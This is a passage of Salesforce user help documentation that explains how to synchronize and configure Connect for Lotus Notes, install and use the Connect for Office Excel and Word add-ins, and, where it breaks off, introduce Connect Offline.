1. In Lotus Notes, select one or more contacts or tasks. Make sure that a check mark appears next to each selected item. For events, open the calendar entry. Note that you cannot synchronize email messages, but you can add them as tasks or cases in Salesforce. 2. Choose Mark for Sync from the right-click menu, Actions menu, or Salesforce toolbar, depending on your version of Lotus Notes. This includes the items in subsequent synchronizations. If the Company or Manager's Name fields are populated for one of the selected contacts, you must select the associated Account and Reports To records in Salesforce. If you select multiple items that have been automatically marked for sync, you can now complete associations for these items. 3. Choose Sync from the right-click menu, Actions menu, or Salesforce toolbar to start a synchronization operation. Connect for Lotus Notes begins synchronizing all marked items with Salesforce. Your first synchronization may take several minutes, because your data is comparison-checked in order to prevent duplicates. To avoid unnecessary space usage, not all occurrences of recurring appointments synchronize between Salesforce and Lotus Notes. The following occurrences synchronize according to your computer's current time and date: Occurrences of a daily series that fall approximately in the next thirty days Occurrences of a weekly series that fall approximately in the next six weeks Occurrences of a monthly or yearly series that fall approximately in the next six months

4. If records will be added to Lotus Notes or Salesforce as a result of the synchronization, you will see a dialog box that summarizes these changes and asks you to confirm them. 5. If necessary, you will be prompted to resolve any data conflicts. 6. When the synchronization process completes, click OK. To specify that you no longer want to synchronize an item, select one or more items and click Unmark for Sync in the right-click menu, Actions menu, or Salesforce toolbar, depending on your version of Lotus Notes. Tip: Connect for Lotus Notes contains various synchronization options you can customize, including scheduling synchronization, specifying the synchronization direction, determining how conflicts should be handled by default, and specifying the field mappings for synchronization.

Setting Up Associations for Lotus Notes


You can associate contacts, calendar events, and tasks with Salesforce records. For example, you can associate a Lotus Notes contact with a Salesforce account or associate a meeting with a Salesforce campaign. When associating Lotus Notes items with Salesforce records, note the following: If you select only one contact to sync and the automatic search feature is enabled, the Change Associations dialog box is pre-populated by an automatic search. You enable this feature by selecting the Automatically perform search for account and contact associations checkbox in Tools > Salesforce Options > Contacts > Advanced > Associations. You can select the Remember my selections for my most recent Salesforce object search checkbox to direct Salesforce to remember the search results from the last time a contact, task, or event was associated. You must select the correct account if the contact's Company field has a value in Lotus Notes. When you associate a contact with an account using the Accounts tab on the Change Associations dialog box, the selected account appears in one of the following places: The contacts Account Name field in Salesforce The matching Salesforce field defined in Tools > Salesforce Options > Contacts > Advanced > Field Maps for the CompanyName Lotus Notes field

2476

Connect for Lotus Notes

Synchronizing Your Contacts and Activities with Connect for Lotus Notes

You must select the correct manager if the contact's Manager's Name field has a value in Lotus Notes. When you associate a contact with a manager using the Reports To tab on the Change Associations dialog box, the selected manager appears in one of the following places: The contacts Reports To field in Salesforce The matching Salesforce field defined in Tools > Salesforce Options > Contacts > Advanced > Field Maps for the ManagerName Lotus Notes field.

The Salesforce Options dialog box lets you set sync preferences using the Always mark for sync checkbox. Select this checkbox to automatically select the Mark for Sync option on all newly created items of the appropriate type that you save to your synchronization folder. For example, if you set this option for contacts, any newly created contacts that you save to the synchronization folder are automatically included the next time you sync with Salesforce. You can exclude an automatically-marked item from synchronization if you manually unmark it. Note: Records created or edited on the server or on other devices, such as a Blackberry, won't be marked for sync.

Note: The version of Connect for Lotus Notes that you have installed may not include all of these features. To upgrade to the most recent Connect for Lotus Notes version, click Your Name > Setup > Desktop Integration > Connect for Lotus Notes. If your administrator has renamed any Salesforce standard tab names, the tab names you see in Lotus Notes are different than those mentioned in these help topics. Also, your administrator may have customized Connect for Lotus Notes to disallow certain operations such as synchronizing contacts or uploading attachments. If your administrator has prohibited a particular operation, all related commands are disabled in your user interface. Connect for Lotus Notes version 3.2 and later supports person accounts if they have been implemented in your organization. For more information, see Working with Person Accounts in Connect for Lotus Notes on page 2478.

See Also:
Using Connect for Lotus Notes Mapping Custom Fields for Connect for Lotus Notes Synchronization Setting Your Sync Profile for Connect for Outlook Mapping Custom Fields for Connect for Lotus Notes Synchronization Associating Lotus Notes Email Messages with Salesforce Records Associating Lotus Notes Contacts with Salesforce Records Setting Connect for Lotus Notes Options

Resolving Data Conflicts During Connect for Lotus Notes Synchronization


Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

If a record has been modified in both Lotus Notes and Salesforce, a conflict resolution dialog box appears, allowing you to choose which information to save. For example, if you changed a contacts phone number in Lotus Notes and then changed that contacts address in Salesforce, you will need to identify which values correct.

2477

Connect for Lotus Notes

Opening Salesforce Records from Lotus Notes

1. In the left pane, use the drop-down list to choose whether to display records in a tree or list view, then choose the record that you want to resolve. 2. In the right pane, use the drop-down list to choose whether to display all fields on the record or only those that have conflicting data, then select the radio button next to the correct value. 3. If necessary, click the pencil icon ( ) and manually enter the value you want to save. Note: The pencil icon is not available for read-only fields on some objects, such as products on opportunities.

4. Repeat these steps for each record listed in the left pane. When you have selected a value to resolve the conflict, the status of the record in the left pane displays a green check. 5. Click Submit when you have finished making selections for all records in conflict.

See Also:
Synchronizing Your Contacts and Activities with Connect for Lotus Notes

Opening Salesforce Records from Lotus Notes


Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

When viewing a synchronized contact, task, or nonrecurring calendar event in Lotus Notes, you can open that record's detail page in Salesforce: 1. In Lotus Notes, open an individual contact, task, or nonrecurring calendar event. Alternatively, select the item so there is a check mark next to it. Note that recurring events cannot be opened in Salesforce from Lotus Notes. 2. Choose View in Salesforce from the right-click menu, Actions menu, or Salesforce toolbar, depending on your version of Lotus Notes. 3. The Salesforce record opens in your Web browser. Note that the browser window may open behind the other windows on your desktop.

Working with Person Accounts in Connect for Lotus Notes


Available in: Enterprise and Unlimited Editions

Connect for Lotus Notes version 3.2 and later supports the following operations involving person accounts if your organization has implemented them.

Synchronizing Person Accounts with Lotus Notes Contacts


Connect for Lotus Notes can synchronize person accounts between your Accounts tab in Salesforce and your Lotus Notes address book. From Lotus Notes, you can view, edit, and delete synchronized person accounts. However, you cannot create

2478

Connect for Lotus Notes

Setting Your Sync Profile for Connect for Outlook

new person accounts from Lotus Notes. Whenever you create a new Lotus Notes contact and mark it for sync, Connect for Lotus Notes processes it as a business contact. For general instructions on synchronizing Lotus Notes items, see Synchronizing Your Contacts and Activities with Connect for Lotus Notes on page 2475.

Associating Lotus Notes Email Messages with Person Accounts


With Connect for Lotus Notes, you can add email messages to Salesforce as tasks or cases. In both situations you can associate the task or case being created with a person account. In the Add to Salesforce dialog box, you can select person accounts on both the Names tab and the Related to tab. On the Names tab, person accounts appear as if they were contacts. Additionally, you can add outgoing email messages to Salesforce, add sent or received email messages to Salesforce, and create cases from Lotus Notes email messages.

Associating Lotus Notes Calendar Events and To-Do Items with Person Accounts
With Connect for Lotus Notes, you can associate calendar events and to-do items with person accounts. In the Associate Item dialog box, you can specify person accounts for the Contacts drop-down list as well as the Accounts drop-down list.

Considerations on Using Person Accounts with Connect for Lotus Notes


Connect for Lotus Notes does not synchronize business accounts (accounts that do not have a person account record type). To learn about the different classifications of accounts in Salesforce, see Accounts Overview on page 60. While you can associate Lotus Notes calendar events and to-do items with person accounts, you cannot use the Associate Item dialog box to associate items in your Lotus Notes address book with person accounts. However, you can synchronize existing person accounts in Salesforce down to Lotus Notes; see Synchronizing Person Accounts with Lotus Notes Contacts on page 2478. You cannot create new person accounts from Lotus Notes. Whenever you create a new Lotus Notes contact and mark it for sync, Connect for Lotus Notes processes it as a business contact. If person accounts have been enabled for your organization, the Quick Create links for accounts are always disabled in Connect for Lotus Notes dialog boxes.

Setting Your Sync Profile for Connect for Outlook


Available in: Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

Your sync profile defines how your data is synchronized with Salesforce. By default, you can synchronize: Contacts you own Contacts to which you have read/write access that are associated with accounts you own Contacts to which you have read/write access that are associated with accounts of which you are an account team member

By setting your sync profile, you can also synchronize contacts owned by other users, as long as you have read/write access to those contacts. 1. In Salesforce, choose Your Name > Setup > Desktop Integration > Connect for Outlook > Set your Sync Profile. Alternatively, choose Your Name > Setup > Desktop Integration > Connect for Lotus Notes > Set your Sync Profile. Connect for Outlook and Connect for Lotus Notes also use the sync profile.

2479

Connect for Lotus Notes

Setting Connect for Lotus Notes Options

2. From the first drop-down list, select the type of group. Your choices are: Member Type Personal Groups Public Groups Description All of your own groups. All public groups defined by your administrator.

3. Select the group whose members own contacts you want to synchronize, or click New Personal Group to create a new personal group. The group you select or create can have up to 15 members. Contact Manager and Group Edition organizations have two options: Sync My Contacts Only or Sync All Contacts. 4. Click Save to finish. In a Public Read Only or Private sharing model, the group members need to grant you read/write access to their contacts in order for you to synchronize them. 5. The next time you perform a synchronization, the contacts that correspond to your sync profile will be included. Keep in mind the following concerning your sync profile: If you change your sync profile, the contacts owned by the new group are added to your offline device and the contacts owned by the old group are deleted from your offline device during your next synchronization. If the members of the group change, the contacts that are synchronized also change. If you or your administrator delete the group, contacts owned by the group will no longer be synchronized unless you are the contact owner, the account owner, or on the account team.

See Also:
About Groups Synchronizing Your Contacts and Activities with Connect for Outlook Synchronizing Your Contacts and Activities with Connect for Lotus Notes

Setting Connect for Lotus Notes Options


Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

To customize your Connect for Lotus Notes options: 1. In Lotus Notes, select Actions > Salesforce Options. 2. Use the tabs provided to view and modify configuration options. 3. Click OK to save your settings.

Connect for Lotus Notes Options


In the Lotus Notes Configuration Options dialog box, you can set the following options:

2480

Connect for Lotus Notes

Setting Connect for Lotus Notes Options

Note: Your administrator may have customized Connect for Lotus Notes to disallow certain operations. If so, some options may be unavailable or disabled. Options on the General tab User Settings Option
Username Password

Description Your Salesforce username. Your Salesforce password. If you log in from an untrusted network, you may need to add a security key to the end of your password. See Resetting Your Security Token on page 44. The URL of the Force.com API server for Connect for Lotus Notes to access your Salesforce data. Read only.

Server

Click the Verify button to confirm that your username and password are correct. General Preferences Option
Display splash screen on Lotus Notes startup Display 'Sync completed' dialog

Description Select this checkbox to enable the Connect for Lotus Notes dialog that displays when Lotus Notes starts. Select this checkbox to display a notification dialog when Connect for Lotus Notes synchronization completes.

Visual Preferences Option


Enable context-sensitive menus

Description This checkbox indicates that context-sensitive commands appear in Connect for Lotus Notes based on your current Lotus Notes operation. These commands appear in right-click menus, Actions menus, or the Salesforce toolbar, depending on your version of Lotus Notes. Note that enabling this option can reduce overall performance time.

Synchronization Preferences Option Description Your next synchronization will take place as if you had never before synchronized any records.

Delete history and synchronize from scratch Select this checkbox to remove your synchronization history.

2481

Connect for Lotus Notes

Setting Connect for Lotus Notes Options

Option
Synchronize on schedule every XX hours

Description Select this checkbox and choose a number from the drop-down list to enable automatic scheduled synchronizations every 1-8 hours.

In the General tab of the Connect for Lotus Notes Options dialog, click Help to open Connect for Lotus Notes online help. Click About to view your Connect for Lotus Notes version number. Basic options on the Contacts, Events, and Tasks tabs On the Contacts, Events, and Tasks tabs of the dialog, set these options to determine how your contacts, events, and tasks will be synchronized. Option
Synchronize Data with Salesforce Data Movement

Description Select the checkbox to enable synchronization between Lotus Notes and Salesforce. Choose an option from the drop-down list to specify how data is treated during synchronization. Your choices are: Export to Salesforce - During its first synchronization, a record in Lotus Notes will create or update a record in Salesforce. If that record is ever modified in Salesforce, it will be skipped in future synchronizations. If the record is only modified in Lotus Notes, future synchronizations will cause the corresponding record in Salesforce to be updated. However, deleting a synchronized record in Lotus Notes will not cause its Salesforce counterpart to be deleted. Export with Overwrites to Salesforce - During its first synchronization, a record in Lotus Notes will create or update a record in Salesforce. At future synchronizations, any changes made in Lotus Notes will be reflected in Salesforce, regardless of whether the Salesforce version of the record had been changed in the meantime. However, deleting a synchronized record in Lotus Notes will not cause its Salesforce counterpart to be deleted. When this option is selected, the conflict setting in the advanced options dialog box is automatically set to Lotus Notes always wins. Import from Salesforce - During its first synchronization, a record in Salesforce will create or update a record in Lotus Notes. If that record is ever modified in Lotus Notes, it will be skipped in future synchronizations. If the record is only modified in Salesforce, future synchronizations will cause the corresponding record in Lotus Notes to be updated. However, deleting a synchronized record in Salesforce will not cause its Lotus Notes counterpart to be deleted. Import with Overwrites from Salesforce - During its first synchronization, a record in Salesforce will create

2482

Connect for Lotus Notes

Setting Connect for Lotus Notes Options

Option

Description or update a record in Lotus Notes. At future synchronizations, any changes made in Salesforce will be reflected in Lotus Notes, regardless of whether the Lotus Notes version of the record had been changed in the meantime. However, deleting a synchronized record in Salesforce will not cause its Lotus Notes counterpart to be deleted. When this option is selected, the conflict setting in the advanced options dialog box is automatically set to Salesforce always wins. Synchronize with Salesforce - During synchronizations, records modified in Lotus Notes will be reflected in Salesforce, and vice versa. This is the default option and is recommended for most users.

Always mark for sync

Select this checkbox to automatically select the Mark for Sync option on all newly created items of the appropriate type that you save to your synchronization folder. For example, if you set this option for contacts, any newly created contacts that you save to the synchronization folder are automatically included the next time you sync with Salesforce. You can exclude an automatically-marked item from synchronization if you manually unmark it. Note: Records created or edited on the server or on other devices, such as a Blackberry, won't be marked for sync.

Folder Settings

If the Lotus Notes folder has Synchronize Data with Salesforce selected, Connect for Lotus Notes searches in the folder for items to synchronize. The items themselves must be marked for synchronization or they will not be synchronized. See Synchronizing Your Contacts and Activities with Connect for Lotus Notes on page 2475 for information on marking items for synchronization.

Advanced options on the Contacts, Events, and Tasks tabs Click the Advanced button in the Contacts, Events, and Tasks tabs of the dialog box to customize additional synchronization options. Option Description records will be deleted as a result of synchronization. This option is enabled by default.
Confirmation tab - Confirm record changes and additions

Confirmation tab - Confirm record deletions Select the checkbox to display a confirmation message when

Select this checkbox to display a confirmation message when records will be updated as a result of synchronization. This option is enabled by default.

2483

Connect for Lotus Notes

Setting Connect for Lotus Notes Options

Option
Conflict tab

Description In the Conflict tab, select an option to determine how Connect for Lotus Notes handles conflicts between Salesforce data and Lotus Notes data during synchronization. Ignore all conflicts - Records with conflicts are not synchronized. Notify me when conflicts occur - Connect for Lotus Notes notifies you of any conflicts so you can manually resolve them. This is the default option. Salesforce always wins - The value in the Salesforce record is always accepted when a conflict occurs. Lotus Notes always wins - The value in Lotus Notes is always accepted when a conflict occurs. Determines time frame for synchronized tasks and events. This option is only available for tasks and events. The choices for events are: Today and future events - Only current and future events that are marked for synchronization will be synchronized. This includes events scheduled for the day before the synchronization. By default, Salesforce synchronizes up to 181 days of events at a time. All events - All events, including past events, that are marked for synchronization will be synchronized.

Options tab - Synchronization Scope

The choices for tasks are: Open and recently closed tasks - Only open tasks and tasks completed within the last seven days that are marked for synchronization will be synchronized. Import salesforce.com tasks of type Email - Only available if Open and recently closed tasks is selected. When this checkbox is deselected, tasks that have a Type value of Email are not imported into Lotus Notes during synchronization, provided the field-level security settings of the Type picklist make the picklist visible for you. The tasks affected by this option include, but are not limited to, email messages that you have used Connect for Lotus Notes to add to Salesforce as completed tasks. Note that the Type picklist must also be included on your task page layout if you want the picklist to be visible when viewing task records in Salesforce. All tasks - All tasks, regardless of status, that are marked for synchronization will be synchronized.

2484

Connect for Lotus Notes

Setting Connect for Lotus Notes Options

Option
Field Maps tab

Description The table on this tab displays how Salesforce fields are mapped to Lotus Notes fields for synchronization and lets you customize field mappings as needed. Determines the settings in the Change Association dialog box when users click Change Associations to associate the Lotus Notes item with a Salesforce record. The choices for contacts, tasks, and events are:
Maximum number of search results - Indicates

Associations tab

the maximum number of records returned when user searches for an association.
Remember my selections for my most recent salesforce.com object search - Directs

Salesforce to remember the search results from the last time the item was associated. The following option is enabled for contacts only:
Automatically perform search for account and contact associations - Enables automatic

searching for Salesforce records when associating contacts. When a user clicks Change Associations, the search pre-populates the association if it finds a single result.

Options on the Email tab Related To Settings Option


Display by Default

Description Select the types of records to show by default when associating an email with a related record. To select all, select the checkbox in the header row.

Search Settings Option


Maximum number of search results

Description The number of Salesforce records to show in the search results when associating items or finding names in the Address Book. The maximum number allowed is 200. Select the checkbox to automatically search for matching contacts or leads when adding an email to Salesforce. When this setting is disabled, the search field in the Names tab will still be automatically populated, but the search will not run until you click Go!.

Automatically perform search for adding email

2485

Connect for Lotus Notes

Setting Connect for Lotus Notes Options

Email Options Option


Display email added successfully dialog Show item after adding email

Description Select the checkbox to display a confirmation message when an email is successfully added to Salesforce. Select the checkbox to automatically display the new task in your Web browser after adding an email message to Salesforce.

Case Options Option


Show item after creating case

Description Select the checkbox to automatically display the new case in your Web browser after creating a case from an email message.

Browser Options Option


Always use new Web browser Upload attachments

Description Select the checkbox to always open Salesforce records in a new browser window. Select the checkbox to allow attachments from email messages and local files on your computer to be uploaded to Salesforce.

Options on the Log File tab The Log File tab shows the location of the Connect for Lotus Notes log file. This location cannot be changed. Click View to open the log file in a text editor. This file contains information about any synchronizations performed in your current Lotus Notes session. Click Send to send the log file to salesforce.com Customer Support for troubleshooting. If your log file is blank, you must turn tracing on by modifying the LogMask registry entry Options on the User Permissions tab The User Permissions tab contains settings that an IT administrator can customize when deploying a customized configuration of Connect for Lotus Notes to a group of users. If your IT administrator has customized Connect for Lotus Notes for your organization, this tab will not be available.

Mapping Custom Fields for Connect for Lotus Notes Synchronization

2486

Connect for Lotus Notes

Setting Connect for Lotus Notes Options

Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

Field mapping lets you define how Salesforce fields map to Lotus Notes fields during synchronization. To map custom Salesforce fields to standard or custom Lotus Notes fields for synchronization: 1. Click Actions > Salesforce Options. 2. From the Contacts, Events, or Tasks tabs, click Advanced > Field Maps > New Mapping. Each type of item has a different field mapping. 3. Choose a field from the Salesforce Field drop-down list. This drop-down list displays the names of all Salesforce fields that have not yet been mapped. Caution: If you map custom fields that are universally required, make sure the universally required fields have a default value so that users will not encounter errors. Furthermore, avoid mapping custom fields that require validation by Salesforce in order to be created. For example, if you map a custom field whose values must be unique, a value that you manually add from your desktop client may result in a uniqueness error during synchronization. 4. Choose a field from the Lotus Notes Field drop-down list. This drop-down list displays the names of the standard Lotus Notes fields for that kind of record. Note: Custom Lotus Notes fields do not display in this list. To map a Salesforce field to a custom Lotus Notes field, you must create the field with this dialog box. Simply type the name of the new field into the Lotus Notes Field field. The custom Lotus Notes field name must be a single word (no spaces) with only letters and numbers. 5. With very few exceptions, accept the default Conversion field value, Use salesforce.com type. Note: The following are the only circumstances in which you should change the Conversion field from its default value: If you are mapping a field that represents either a date or a date and time combination, then choose date or datetime, respectively. If you are mapping a field that represents the urgency of a task, then choose Priority. If you are mapping a field that represents the status of a task, then choose Status. If you are mapping a field that represents how other users see this time in your calendar, then choose BusyStatus.

If you change the default value of the Conversion field, the value will display in the Type column when you view your saved mappings. 6. Leave the Matching score and Nonmatching score fields at 50. Modifying these fields is an advanced customization that may cause duplicate records to be created. 7. Click OK to save the new mapping. To change the mapping for a specific field, select it from the list and click Edit Mapping. To delete the mapping for a field, select it from the list and click Delete Mapping.

See Also:
Using Connect for Lotus Notes Setting Connect for Lotus Notes Options

2487

Connect for Office

Force.com Connect for Microsoft Office Overview

CONNECT FOR OFFICE


Force.com Connect for Microsoft Office Overview
Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

Force.com Connect for Microsoft Office integrates Microsoft Office with Salesforce. Connect for Office includes an Excel add-in and a Word add-in.

Integration with Microsoft Excel


The Excel add-in securely delivers your Salesforce reports into Excel in real time with a simple interface. You create the reports you need in Salesforce, then pull them into an Excel worksheet, and optionally use Excels formulas, charts, and pivot tables to customize and analyze your data. As a last step, you can distribute your customized Excel worksheets via the Documents tab, allowing all users to track customized analytics in real time.

Integration with Microsoft Word


The Word add-in helps you create mail merge templates for use with Salesforces online mail merge utility. The Word add-in allows you to quickly and easily insert Salesforce merge fields into a Word mail merge template.

See Also:
Installing Connect for Office Using Excel Integration Using Word Integration Managing Mail Merge Templates Tip sheet: Using Force.com Connect for Office Release Notes: What's New with Connect for Office?

Installing Connect for Office


Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

To install Connect for Office: 1. Close all Microsoft Office programs, including Word, Excel, and Outlook. 2. Click Your Name > Setup > Desktop Integration > Connect for Office. In Enterprise and Unlimited Editions, your administrator may have prohibited access to the download page. For more information, see Desktop Client Access Overview on page 518. 3. Click Install Now.

2488

Connect for Office

Installing Connect for Office

4. Click Yes when prompted to install Connect for Office. We recommend that you install Connect for Office to the default folder suggested by the installer. 5. After the installation completes, open Excel or Word, and select the salesforce.com menu to begin using Connect for Office. 6. The first time you open Word, you are prompted to enable macros from salesforce.com. You must enable the macros and accept salesforce.com as a macro publisher to use the Word add-in. Note: The Connect for Office installer edits the registry on your computer. If your organization imposes security that prevents you from editing the registry, log in as the administrator of your machine before installing Connect for Office or contact your IT department for assistance.

See Also:
Connect for Office System Requirements Release Notes: What's New with Connect for Office?

Connect for Office System Requirements


Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

The system requirements for Connect for Office are: Microsoft Office 2000, XP (2002), 2003, or 2007 Microsoft Windows 2000, XP, or Vista (32-bit only; 64-bit is not supported)

See Also:
Installing Connect for Office Force.com Connect for Microsoft Office Overview

Using Excel Integration

2489

Connect for Office

Using Excel Integration

Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

User Permissions Needed To access Salesforce reports from Excel: Run Reports AND Export Reports

Connect for Office includes an Excel add-in that enables you to access your Salesforce reports with Microsoft Excel. All communication between Excel and Salesforce is secure; the Excel add-in uses the same secure HTTPS protocol as when you log in via your Web browser. The Excel add-in provides the same access to reports and fields that you normally experience in Salesforce.

Working With Salesforce Reports From Excel


To use the Excel add-in: 1. Create any custom reports you need in Salesforce. You can also use any of the standard reports. See Customizing Reports. 2. Open Excel and log in to Salesforce. See Logging In to Connect for Office on page 2490. 3. Import standard or custom reports into Excel worksheets. See Importing Reports Into Excel with Connect for Office on page 2491. 4. Optionally, manipulate your report data using Excel features such as formulas, charting, or pivot tables. 5. Optionally, reference data from multiple reports in one worksheet to create a single page overview of key metrics. 6. Save your Excel file. 7. Optionally, distribute the customized Excel file to other users via the Documents tab. See Uploading and Replacing Documents on page 221. 8. Keep your Salesforce data up-to-date in Excel by refreshing the report in Excel. See Refreshing and Updating Data with Connect for Office on page 2492. Tip: Download a sample Excel file that shows a raw and a formatted report plus charts and summary tables built using Excel's pivot tables and pivot charts.

See Also:
Installing Connect for Office Tips for Using Excel Integration

Logging In to Connect for Office


Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

You need to log in to Salesforce before you can request data from your Salesforce reports.

2490

Connect for Office

Using Excel Integration

1. Open Excel. 2. In Microsoft Office 2003 and earlier, select Log In from the salesforce.com drop-down menu on the Excel toolbar. In Microsoft Office 2007, select the salesforce.com tab on the Ribbon, click the Reporting drop-down menu, and then select Log In. 3. Enter your Salesforce username and password. 4. Click Login. Note: If your organization restricts IP addresses, logins from untrusted IPs are blocked until they're activated. Salesforce automatically sends you an activation email that you can use to log in. The email contains a security token that you must add to the end of your password. For example, if your password is mypassword, and your security token is XXXXXXXXXX, you must enter mypasswordXXXXXXXXXX to log in.

See Also:
Importing Reports Into Excel with Connect for Office Refreshing and Updating Data with Connect for Office Using Excel Integration Tips for Using Excel Integration

Importing Reports Into Excel with Connect for Office


Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

User Permissions Needed To access reports in Excel: Run Reports AND Export Reports

Import your custom or standard Salesforce reports into Excel so you can further analyze the data using Excels formulas, charts, and pivot tables. 1. After logging in to Salesforce (see Logging In to Connect for Office on page 2490), open a blank worksheet in Excel. 2. In Microsoft Office 2003 and earlier, select Import a Report... from the salesforce.com drop-down menu on the Excel toolbar. In Microsoft Office 2007, select the salesforce.com tab on the Ribbon, click the Reporting drop-down menu, and then select Import a Report.... 3. Select a report from the list of standard and custom Salesforce reports available to you. 4. Specify where you want to put the report data in your Excel file. a. Enter the name of your Excel worksheet in the Destination worksheet field. b. In the Cell field, enter the uppermost cell where you want to begin putting the data. If the specified worksheet and cells already contain report data, Connect for Office moves the existing data over to make room for the new report data.

2491

Connect for Office

Using Excel Integration

5. Choose Raw Data to import the data without formatting, subtotals, or grand totals. Choose Formatted to keep the colors, fonts, subtotals, and grand totals from the Salesforce report. 6. Click OK.

See Also:
Refreshing and Updating Data with Connect for Office Using Excel Integration

Refreshing and Updating Data with Connect for Office


Keep your Salesforce reports up to date in Excel by periodically refreshing the report data and any pivot tables you have created. After logging in to Salesforce (see Logging In to Connect for Office on page 2490), select any of the following options from the salesforce.com toolbar (in Office 2003 and earlier) or Ribbon tab (in Office 2007): Refresh Existing Reports... - Allows you to choose which reports you want to update in Excel. 1. From the list of reports you have imported, select the reports to update. 2. Optionally, select Update Pivot Tables to update any pivot tables you have created in Excel for the selected reports. 3. Click Refresh Selected to update the report data. To remove reports from this list, select the report names and click Delete Selected. The reports are not removed from your Excel worksheet or from Salesforce, only from the list of reports available for refreshing. Refresh All Reports - Refreshes all of the reports that you have imported into your Excel file, including the pivot tables referenced by those reports.

See Also:
Using Excel Integration Tips for Using Excel Integration

Tips for Using Excel Integration


Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

Import reports with the Raw Data option to retrieve data only When importing a report into Excel, the Raw Data option excludes all of the formatting, subtotals, and grand totals from Salesforce. The raw report data is more suitable for use in Excel formulas and pivot tables, especially for summary and matrix reports which are not formatted appropriately for use as the basis of pivot tables.

Use the Formatted option to keep Excel files small The Formatted option is useful for importing large matrix reports with the data already summarized into a small table.

2492

Connect for Office

Using Word Integration

Select entire columns when writing formulas Since the number of rows in your report may change when you refresh the report data, it is a good idea to create formulas that reference an entire column rather than a range of cells. For example, use =Sum(Sheet2!E:E) to sum column E rather than =Sum(Sheet2!E1:E200).

Refresh pivot tables When refreshing selected reports via the Refresh Existing Reports... option, remember to check the Update Pivot Tables option. The Refresh All Reports menu choice automatically updates any relevant pivot tables.

Link data across reports using Excels VLOOKUP and HLOOKUP The VLOOKUP and HLOOKUP functions in Excel allow you to join data across different cell ranges. See the Microsoft Excel help for more information.

Link data from Excel into Word or other Office applications You can copy and paste data from Excel into other Office applications. Use the Paste Special option, rather than Paste, to reference the Excel data as a worksheet object. If the data then changes in Excel, you can right-click the object and update it automatically. See the Microsoft Word help for more information.

Avoid renaming worksheets that contain imported reports If you rename a worksheet that contains an imported report, the connection between the worksheet and your report is lost. You must import the report again to refresh the data.

Distribute Excel files using the Documents tab Distribute your customized Excel files to other users via the Documents tab. See Uploading and Replacing Documents on page 221.

See Also:
Using Excel Integration

Using Word Integration


Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

The Connect for Office Word add-in helps you create mail merge templates for use with the mail merge utility in Salesforce. It provides a complete list of valid merge fields for you to insert. Important: Each mail merge field label you use must be unique. To use the Word add-in: 1. Open Microsoft Word.

2493

Connect for Office

Using Word Integration

2. In Word 2003 and earlier, select Log In from the salesforce.com drop-down menu on the toolbar. In Word 2007, open the salesforce.com tab on the Ribbon, click the Merge Fields drop-drown menu, and then select Log In. 3. Enter your Salesforce username and password. 4. Click Login. Note: When you are successfully logged in and have an active session, the Log In command in the drop-down button is disabled. To log out, click Log Out. 5. Begin creating your mail merge template from an existing or blank Word document. See Creating New Mail Merge Templates on page 430 and Modifying Existing Mail Merge Templates on page 431. 6. Place your cursor where you want to insert a Salesforce merge field. To replace an existing merge field, select the entire merge field in your template. Mail merge fields must be unique. 7. In Word 2003 and earlier, select Insert Merge Field from the salesforce.com drop-down menu. In Word 2007, click the Merge Fields drop-drown menu at the salesforce.com tab on the Ribbon, and then select Insert Merge Field. 8. In the Insert Merge Fields dialog, select a field type and then select the merge field you want to insert. If you use products in Salesforce, see Including Opportunity Product Data in Mail Merge Templates on page 2494. 9. Click Insert to add the merge field at your current cursor position in your Word document. 10. Insert additional merge fields as desired to build your mail merge template. 11. After your mail merge template is complete, upload it to Salesforce. See Uploading Mail Merge Templates to Salesforce on page 432.

Including Opportunity Product Data in Mail Merge Templates


Products are available in Enterprise, Unlimited, and Developer Editions. They are also available in Professional Edition for an additional fee. To add opportunity product data to your mail merge template, in the Insert Merge Fields dialog select Opportunity Line Item Fields and then select the fields to insert. This inserts a table with the selected merge fields and special start and end fields. (For reference, the default mail merge templates include a sample template with a table of opportunity product data.) You can modify this table as needed, but the Opportunity_LineItem_Start merge field must be before all opportunity product merge fields and the Opportunity_LineItem_End merge field must be after all opportunity product merge fields. These start and end fields trigger Salesforce to list all of the products on the opportunity. If you also want to insert product merge fields into the table of opportunity product merge fields, you can do so manually without using the salesforce.com Word add-in: 1. In your Word document, place your cursor where you want to insert the merge field. 2. In Word 2003 and earlier, select Insert and then Field from the Word menu bar. In Word 2007, select the Insert tab on the Ribbon, click Quick Parts in the Text group, and then click Field. 3. Select Mail Merge in the Categories drop-down list. 4. Select MergeField in the Field names box. 5. In the Field name box in the Field Properties area, enter the merge field name manually, such as Opportunity_LineItem_ProductName. 6. Click OK.

See Also:
Installing Connect for Office

2494

Connect Offline

Force.com Connect Offline Overview

CONNECT OFFLINE
Force.com Connect Offline Overview
Available in: Enterprise, Unlimited, and Developer Editions Available for an additional cost in: Professional Edition

With Force.com Connect Offline, you can work on your key deals anywhere, any timetotally unplugged. Connect Offline is a client application that lets you access a subset of Salesforce records using the same browser-based interface as the online system but without an Internet connection. Use Connect Offline to view, edit, create, and delete accounts, activities, contacts, opportunities, leads, and custom object records (including relationship groups). You can also add and update products and schedules on opportunities. The subset of Salesforce records accessible in Connect Offline is referred to as a briefcase. Administrators can create briefcase configurations, which are sets of parameters that determine the records available in the briefcases of users with a specific profile. Organizations can have multiple briefcase configurations and associate each with a different set of profiles to simultaneously suit the needs of various types of offline users. For example, one configuration might include leads and opportunities in the briefcases of users with a Sales Representative profile, while another configuration includes accounts and related opportunities in the briefcases of users with an Account Executive profile. Users without an assigned briefcase configuration can configure the settings for their own Connect Offline briefcase and can manually select the accounts the briefcase includes. When online, users can synchronize their Connect Offline briefcases with Salesforce. During synchronization, the changes to records in the briefcase are implemented in Salesforce, and vice-versa. This ensures that both Salesforce and Connect Offline have the most current records. If updates to a record in the 